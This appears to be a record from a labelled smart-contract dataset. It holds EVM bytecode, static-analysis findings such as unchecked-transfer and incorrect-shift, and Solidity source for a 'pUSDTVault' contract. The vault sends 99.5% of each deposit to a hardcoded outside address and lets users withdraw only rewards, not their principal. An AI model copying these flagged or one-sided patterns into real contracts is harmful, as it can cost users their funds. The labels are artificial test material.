fffffffffffffffffffffffffffffffffffffff918216602482015260448101869052908716906342842e0e90606401600060405180830381600087803b158015610a5a57600080fd5b505af1158015610a6e573d6000803e3d6000fd5b507f150b7a02000000000000000000000000000000000000000000000000000000009998505050505050505050565b610ab8838383604051806020016040528060008152506112aa565b505050565b60045460009073ffffffffffffffffffffffffffffffffffffffff8481169116148015610ae8575081155b610b4e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f696e646578206f7574206f6620626f756e64730000000000000000000000000060448201526064016108eb565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610bd8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f796f7520617265206e6f7420746865206f776e6572000000000000000000000060448201526064016108eb565b600080546040517ff242432a00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff9182166024820152604481018590526064810184905260a0608482015260a481019290925284169063f242432a9060c401600060405180830381600087803b158015610c6857600080fd5b505af1158015610c7c573d6000803e3d6000fd5b50505050505050565b610ab88383836040518060200160405280600081525061132b565b60008115610d0a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f696e646578206f7574206f6620626f756e64730000000000000000000000000060448201526064016108eb565b506001919050565b600081600114610d7e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f746f6b656e20646f6573206e6f7420657869737400000000000000000000000060448201526064016108eb565b505060045473ffffffffffffffffffffffffffffffffffffffff1690565b600073ffffffffffffffffffffffffffffffffffffffff8216610e1b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f656d70747920616464726573730000000000000000000000000000000000000060448201526064016108eb565b60045473ffffffffffffffffffffffffffffffffffffffff838116911614610e44576000610e47565b60015b60ff1692915050565b60045460609073ffffffffffffffffffffffffffffffffffffffff838116911614156107d3576040805160018082528183019092529060208083019080368337019050509050600181600081518110610eab57610eab6121f8565b602002602001018181525050919050565b6060600280546107e7906121a4565b60005473ffffffffffffffffffffffffffffffffffffffff163314610f4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f796f7520617265206e6f7420746865206f776e6572000000000000000000000060448201526064016108eb565b6000546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610fc5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab89190612227565b73ffffffffffffffffffffffffffffffffffffffff8216331415611069576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f6f6e652063616e6e6f7420617070726f7665206f6e652073656c66000000000060448201526064016108eb565b33600081815260086020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60005473ffffffffffffffffffffffffffffffffffffffff163314611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f796f7520617265206e6f7420746865206f776e6572000000000000000000000060448201526064016108eb565b73ffffffffffffffffffffffffffffffffffffffff81166111fe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f656d70747920616464726573730000000000000000000000000000000000000060448201526064016108eb565b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6112a6338383604051806020016040528060008152506112aa565b5050565b6112b433836118f8565b61131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f7468652073656e646572206973206e6f7420617070726f76656400000000000060448201526064016108eb565b6113258484846119c0565b50505050565b61133533836118f8565b61139b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f73656e646572206973206e6f7420617070726f7665640000000000000000000060448201526064016108eb565b6113a68484846119c0565b6113af83611b65565b801561146457506040517f01ffc9a70000000000000000000000000000000000000000000000000000000081527f150b7a0200000000000000000000000000000000000000000000000000000000600482015273ffffffffffffffffffffffffffffffffffffffff8416906301ffc9a790602401602060405180830381865afa158015611440573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114649190612227565b15611325576040517f150b7a0200000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84169063150b7a02906114c1903090889087908790600401612244565b602060405180830381865afa1580156114de573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611502919061228d565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191663150b7a0260e01b14611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f6f6e455243373231526563656976656420686173206661696c6564000000000060448201526064016108eb565b6060600182146115fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f746f6b656e20646f6573206e6f7420657869737400000000000000000000000060448201526064016108eb565b6116bc600361169460068054611611906121a4565b80601f016020809104026020016040519081016040528092919081815260200182805461163d906121a4565b801561168a5780601f1061165f5761010080835404028352916020019161168a565b820191906000526020600020905b81548152906001019060200180831161166d57829003601f168201915b5050505050611b9c565b60076040516020016116a893929190612397565b604051602081830303815290604052611ba4565b6040516020016116cc91906128b2565b6040516020818303038152906040529050919050565b60005473ffffffffffffffffffffffffffffffffffffffff163314611763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f796f7520617265206e6f7420746865206f776e6572000000000000000000000060448201526064016108eb565b60405133904780156108fc02916000818181858888f1935050505015801561178f573d6000803e3d6000fd5b50565b60606117bd600160036117ab60068054611611906121a4565b6040516020016116a8939291906128f7565b6040516020016117cd91906128b2565b604051602081830303815290604052905090565b60005473ffffffffffffffffffffffffffffffffffffffff163314611862576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f796f7520617265206e6f7420746865206f776e6572000000000000000000000060448201526064016108eb565b6000546040517f42842e0e00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff918216602482015260448101839052908316906342842e0e90606401600060405180830381600087803b1580156118dc57600080fd5b505af11580156118f0573d6000803e3d6000fd5b505050505050565b60006001821461190757600080fd5b60045473ffffffffffffffffffffffffffffffffffffffff8481169116148061197957508273ffffffffffffffffffffffffffffffffffffffff1661196160055473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff16145b806119b9575060045473ffffffffffffffffffffffffffffffffffffffff90811660009081526008602090815260408083209387168352929052205460ff165b9392505050565b60045473ffffffffffffffffffffffffffffffffffffffff848116911614611a44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f796f7520617265206e6f7420746f6b656e206f776e657200000000000000000060448201526064016108eb565b73ffffffffffffffffffffffffffffffffffffffff8216611ac1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f796f752063616e6e6f74206275726e207468697300000000000000000000000060448201526064016108eb565b611aee600580547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b600480547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff84811691821790925560405183928616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90600090a4505050565b6000813f80158015906119b957507fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470141592915050565b6060816119b9815b60606000604051806060016040528060408152602001612b8f6040913990506000600384516002611bd59190612afe565b611bdf9190612b16565b611bea906004612b51565b90506000611bf9826020612afe565b67ffffffffffffffff811115611c1157611c11612048565b6040519080825280601f01601f191660200182016040528015611c3b576020820181803683370190505b509050818152600183018586518101602084015b81831015611ca7576003830192508251603f8160121c168501518253600182019150603f81600c1c168501518253600182019150603f8160061c168501518253600182019150603f8116850151825350600101611c4f565b600389510660018114611cc15760028114611d0b57611d51565b7f3d3d0000000000000000000000000000000000000000000000000000000000007ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe830152611d51565b7f3d000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8301525b509398975050505050505050565b7fffffffff000000000000000000000000000000000000000000000000000000008116811461178f57600080fd5b600060208284031215611d9f57600080fd5b81356119b981611d5f565b60005b83811015611dc5578181015183820152602001611dad565b838111156113255750506000910152565b60008151808452611dee816020860160208601611daa565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6020815260006119b96020830184611dd6565b600060208284031215611e4557600080fd5b5035919050565b803573ffffffffffffffffffffffffffffffffffffffff811681146107d357600080fd5b60008060408385031215611e8357600080fd5b611e8c83611e4c565b946020939093013593505050565b600080600080600060808688031215611eb257600080fd5b611ebb86611e4c565b9450611ec960208701611e4c565b935060408601359250606086013567ffffffffffffffff80821115611eed57600080fd5b818801915088601f830112611f0157600080fd5b813581811115611f1057600080fd5b896020828501011115611f2257600080fd5b9699959850939650602001949392505050565b600080600060608486031215611f4a57600080fd5b611f5384611e4c565b9250611f6160208501611e4c565b9150604084013590509250925092565b600080600060608486031215611f8657600080fd5b611f8f84611e4c565b95602085013595506040909401359392505050565b600060208284031215611fb657600080fd5b6119b982611e4c565b6020808252825182820181905260009190848201906040850190845b81811015611ff757835183529284019291840191600101611fdb565b50909695505050505050565b801515811461178f57600080fd5b6000806040838503121561202457600080fd5b61202d83611e4c565b9150602083013561203d81612003565b809150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000806000806080858703121561208d57600080fd5b61209685611e4c565b93506120a460208601611e4c565b925060408501359150606085013567ffffffffffffffff808211156120c857600080fd5b818701915087601f8301126120dc57600080fd5b8135818111156120ee576120ee612048565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190838211818310171561213457612134612048565b816040528281528a602084870101111561214d57600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b6000806040838503121561218457600080fd5b61218d83611e4c565b915061219b60208401611e4c565b90509250929050565b600181811c908216806121b857607f821691505b602082108114156121f2577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006020828403121561223957600080fd5b81516119b981612003565b600073ffffffffffffffffffffffffffffffffffffffff8087168352808616602084015250836040830152608060608301526122836080830184611dd6565b9695505050505050565b60006020828403121561229f57600080fd5b81516119b981611d5f565b8054600090600181811c90808316806122c457607f831692505b60208084108214156122ff577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b81801561231357600181146123425761236f565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0086168952848901965061236f565b60008881526020902060005b868110156123675781548b82015290850190830161234e565b505084890196505b50505050505092915050565b6000815161238d818560208601611daa565b9290920192915050565b7f7b0000000000000000000000000000000000000000000000000000000000000081527f226e616d65223a22556b7261696e69616e20466c6167222c000000000000000060018201527f226465736372697074696f6e223a22546869732069732074686520556b72616960198201527f6e69616e20666c616720f09f87baf09f87a620312f312e2046756e647320726160398201527f697365642066726f6d20746869732073616c652077696c6c206265206469726560598201527f6374656420746f2068656c70696e672074686520556b7261696e69616e20636960798201527f76696c69616e7320737566666572696e672066726f6d2074686520776172206960998201527f6e6974696174656420627920507574696e2e205c22436f6d65204261636b204160b98201527f6c6976652c5c22206f6e65206f6620746865206d6f737420656666656374697660d98201527f6520616e64207472616e73706172656e7420556b7261696e69616e206368617260f98201527f697461626c6520616e6420766f6c756e7465657220696e6974696174697665736101198201527f2063616e20626520666f756e642061743a2068747470733a2f2f736176656c696101398201527f66652e696e2e75615c6e5c6e00000000000000000000000000000000000000006101598201527f546869732070726f6a65637420686173206265656e206f7267616e697a6564206101658201527f62792050757373792052696f742c20547269707079204c6162732c20506c65616101858201527f737244414f2c20435849502c20616e64206d616e7920556b7261696e69616e206101a58201527f68756d616e6974617269616e2061637469766973747320776f726b696e6720746101c58201527f6972656c6573736c79206f6e207468652067726f756e6420616e642067656e656101e58201527f726f75736c7920636f6e73756c74696e67207769746820757320746f206173736102058201527f75726520776520686176652061207361666520706c61636520746f20646972656102258201527f6374206f757220646f6e6174696f6e7320746861742077696c6c2068656c70206102458201527f74686f73652077686f206e65656420697420746865206d6f73742e5c6e5c6e006102658201527f4d75636820737570706f727420616e64206c6f766520746f20556b7261696e656102848201527f20f09f87baf09f87a6222c0000000000000000000000000000000000000000006102a48201527f2265787465726e616c5f75726c223a2268747470733a2f2f00000000000000006102af82015260006128a96128806128576128516128286127ff6127f96127aa6127816102c78b018e6122aa565b7f2f222c0000000000000000000000000000000000000000000000000000000000815260030190565b7f22696d616765223a22646174613a696d6167652f7376672b786d6c3b6261736581527f36342c0000000000000000000000000000000000000000000000000000000000602082015260230190565b8a61237b565b7f222c000000000000000000000000000000000000000000000000000000000000815260020190565b7f22696d6167655f64617461223a220000000000000000000000000000000000008152600e0190565b866122aa565b7f2200000000000000000000000000000000000000000000000000000000000000815260010190565b7f7d00000000000000000000000000000000000000000000000000000000000000815260010190565b95945050505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c0000008152600082516128ea81601d850160208701611daa565b91909101601d0192915050565b7f7b0000000000000000000000000000000000000000000000000000000000000081527f226e616d65223a220000000000000000000000000000000000000000000000006001820152600061294f60098301866122aa565b7f222c00000000000000000000000000000000000000000000000000000000000081527f226465736372697074696f6e223a22546869732069732074686520556b72616e60028201527f69616e20666c616720f09f87baf09f87a620312f31222c00000000000000000060228201527f2265787465726e616c5f6c696e6b223a2268747470733a2f2f0000000000000060398201526129f160528201866122aa565b7f2f222c000000000000000000000000000000000000000000000000000000000081527f22696d616765223a22646174613a696d6167652f7376672b786d6c3b6261736560038201527f36342c00000000000000000000000000000000000000000000000000000000006023820152845160269091019150612a77818360208801611daa565b7f220000000000000000000000000000000000000000000000000000000000000091019081527f7d00000000000000000000000000000000000000000000000000000000000000600182015260020195945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008219821115612b1157612b11612acf565b500190565b600082612b4c577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b8957612b89612acf565b50029056fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220c51b7623ca73480129760760bf9755387247c6b234349bf629d36126a25d29ff64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,148 |
0x11ad73cd31c3ad6f589cd8aa02bee3f1f0fe72cc
|
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pUSDTVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
mapping (address => uint256) amount;
uint256 time;
}
IERC20 public token = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
address public governance;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount = 0;
event Withdrawn(address indexed user, uint256 amount);
constructor () public {
governance = msg.sender;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this));
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint256 _amount) public {
require(_amount > 0, "can't deposit 0");
uint arrayLength = addressIndices.length;
bool found = false;
for (uint i = 0; i < arrayLength; i++) {
if(addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 realAmount = _amount.mul(995).div(1000);
uint256 feeAmount = _amount.mul(5).div(1000);
address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC;
address vaultAddress = 0xCbb12b61a408c66d90aFC725CE563D69b8adC67c; // Vault3 Address
token.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
}
function reward(uint256 _amount) external {
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token.safeTransferFrom(msg.sender, address(this), _amount);
uint arrayLength = addressIndices.length;
for (uint i = 0; i < arrayLength; i++) {
rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].add(_amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit));
_rewards[_rewardCount].amount[addressIndices[i]] = _amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit);
}
_rewards[_rewardCount].time = block.timestamp;
_rewardCount++;
}
function withdrawAll() external {
withdraw(rewardBalances[msg.sender]);
}
function withdraw(uint256 _amount) public {
require(_rewardCount > 0, "no reward amount");
require(_amount > 0, "can't withdraw 0");
uint256 availableWithdrawAmount = availableWithdraw(msg.sender);
if (_amount > availableWithdrawAmount) {
_amount = availableWithdrawAmount;
}
token.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableWithdraw(address owner) public view returns(uint256){
uint256 availableWithdrawAmount = rewardBalances[owner];
for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.add(7 days); --i) {
availableWithdrawAmount = availableWithdrawAmount.sub(_rewards[i].amount[owner].mul(_rewards[i].time.add(7 days).sub(block.timestamp)).div(7 days));
if (i == 0) break;
}
return availableWithdrawAmount;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a9fb763c11610097578063de5f626811610066578063de5f626814610276578063e2aa2a851461027e578063f6153ccd14610286578063fc0c546a1461028e57610100565b8063a9fb763c1461020e578063ab033ea91461022b578063b69ef8a814610251578063b6b55f251461025957610100565b8063853828b6116100d3578063853828b6146101a65780638f1e9405146101ae57806393c8dc6d146101cb578063a7df8c57146101f157610100565b80631eb903cf146101055780632e1a7d4d1461013d5780633df2c6d31461015c5780635aa6e67514610182575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610296565b60408051918252519081900360200190f35b61015a6004803603602081101561015357600080fd5b50356102a8565b005b61012b6004803603602081101561017257600080fd5b50356001600160a01b03166103dd565b61018a6104d7565b604080516001600160a01b039092168252519081900360200190f35b61015a6104e6565b61012b600480360360208110156101c457600080fd5b5035610501565b61012b600480360360208110156101e157600080fd5b50356001600160a01b0316610516565b61018a6004803603602081101561020757600080fd5b5035610528565b61015a6004803603602081101561022457600080fd5b503561054f565b61015a6004803603602081101561024157600080fd5b50356001600160a01b03166107a2565b61012b610811565b61015a6004803603602081101561026f57600080fd5b503561088e565b61015a610a5f565b61012b610adc565b61012b610ae2565b61018a610ae8565b60036020526000908152604090205481565b6000600754116102f2576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b6000811161033a576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6000610345336103dd565b905080821115610353578091505b600054610370906001600160a01b0316338463ffffffff610af716565b33600090815260046020526040902054610390908363ffffffff610b4e16565b33600081815260046020908152604091829020939093558051858152905191927f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d592918290030190a25050565b6001600160a01b038116600090815260046020526040812054600754600019015b6000818152600660205260409020600101546104239062093a8063ffffffff610b9916565b4210156104d0576104bb6104ae62093a806104a26104734261046762093a80600660008a815260200190815260200160002060010154610b9990919063ffffffff16565b9063ffffffff610b4e16565b60008681526006602090815260408083206001600160a01b038d1684529091529020549063ffffffff610bf316565b9063ffffffff610c4c16565b839063ffffffff610b4e16565b9150806104c7576104d0565b600019016103fe565b5092915050565b6001546001600160a01b031681565b336000908152600460205260409020546104ff906102a8565b565b60066020526000908152604090206001015481565b60046020526000908152604090205481565b6005818154811061053557fe5b6000918252602090912001546001600160a01b0316905081565b60008111610595576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b6000600254116105ec576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60005461060a906001600160a01b031633308463ffffffff610c8e16565b60055460005b8181101561077f576106a96106676002546104a2600360006005878154811061063557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054879063ffffffff610bf316565b600460006005858154811061067857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549063ffffffff610b9916565b60046000600584815481106106ba57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400181209190915560025460058054610730936104a292600392879081106106fe57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054869063ffffffff610bf316565b6007546000908152600660205260408120600580549192918590811061075257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600101610610565b505060078054600090815260066020526040902042600191820155815401905550565b6001546001600160a01b031633146107ef576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d602081101561088757600080fd5b5051905090565b600081116108d5576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b6005546000805b8281101561092757336001600160a01b0316600582815481106108fb57fe5b6000918252602090912001546001600160a01b0316141561091f5760019150610927565b6001016108dc565b508061097057600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b031916331790555b600061098a6103e86104a2866103e363ffffffff610bf316565b905060006109a56103e86104a287600563ffffffff610bf316565b60005490915073d319d5a9d039f06858263e95235575bb0bd630bc9073cbb12b61a408c66d90afc725ce563d69b8adc67c906109f2906001600160a01b031633848663ffffffff610c8e16565b600054610a10906001600160a01b031633838763ffffffff610c8e16565b600254610a23908563ffffffff610b9916565b60025533600090815260036020526040902054610a46908563ffffffff610b9916565b3360009081526003602052604090205550505050505050565b600054604080516370a0823160e01b815233600482015290516104ff926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610aab57600080fd5b505afa158015610abf573d6000803e3d6000fd5b505050506040513d6020811015610ad557600080fd5b505161088e565b60075481565b60025481565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b49908490610cee565b505050565b6000610b9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea6565b90505b92915050565b600082820183811015610b90576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c0257506000610b93565b82820282848281610c0f57fe5b0414610b905760405162461bcd60e51b8152600401808060200182810382526021815260200180610fdf6021913960400191505060405180910390fd5b6000610b9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3d565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e